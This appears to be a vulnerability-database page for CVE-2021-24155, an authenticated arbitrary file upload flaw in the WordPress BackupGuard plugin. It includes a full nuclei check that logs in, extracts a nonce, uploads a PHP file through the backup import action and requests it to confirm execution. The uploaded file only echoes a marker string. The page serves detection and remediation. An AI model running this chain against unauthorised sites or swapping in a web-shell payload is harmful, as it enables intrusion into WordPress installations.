Browse / CVEs / CVE-2021-24155
CVE-2021-24155· backup-guard / backup guard· CWE-434
WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
highseverity
7.2CVSS score
83.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
Impact
Remote code execution
Fix
Fixed in version 1.6.0.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=backup_guard_backups ; POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} ; GET /wp-content/uploads/backup-guard/{{randstr}}.php
Positive when: contains(header_4, "text/html") and status_code_4 == 200 and contains(body_3, '{\"success\":1}') and contains(body_4, 'CVE-2021-24155')Run it with nuclei: nuclei -id CVE-2021-24155 -u <target>
The full check
id: CVE-2021-24155
info:
name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
author: theamanrawat
severity: high
description: |
WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
impact: |
Remote code execution
remediation: Fixed in version 1.6.0.
reference:
- https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
- https://wordpress.org/plugins/backup/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24155
- http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
- https://github.com/0dayNinja/CVE-2021-24155.rb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24155
cwe-id: CWE-434
epss-score: 0.83693
epss-percentile: 0.9969
cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: backup-guard
product: backup_guard
framework: wordpress
tags: cve,cve2021,authenticated,wp,packetstorm,wp-plugin,rce,wordpress,backup,wpscan,intrusive,backup-guard,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921
-----------------------------204200867127808062083805313921
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
Content-Type: application/x-php
<?php
echo "CVE-2021-24155";
?>
-----------------------------204200867127808062083805313921--
- |
GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(header_4, "text/html")
- status_code_4 == 200
- contains(body_3, '{\"success\":1}')
- contains(body_4, 'CVE-2021-24155')
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
internal: trueReferences
- https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
- https://wordpress.org/plugins/backup/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24155
- http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
- https://github.com/0dayNinja/CVE-2021-24155.rb
Use this check only on systems you are authorised to test. Where the data comes from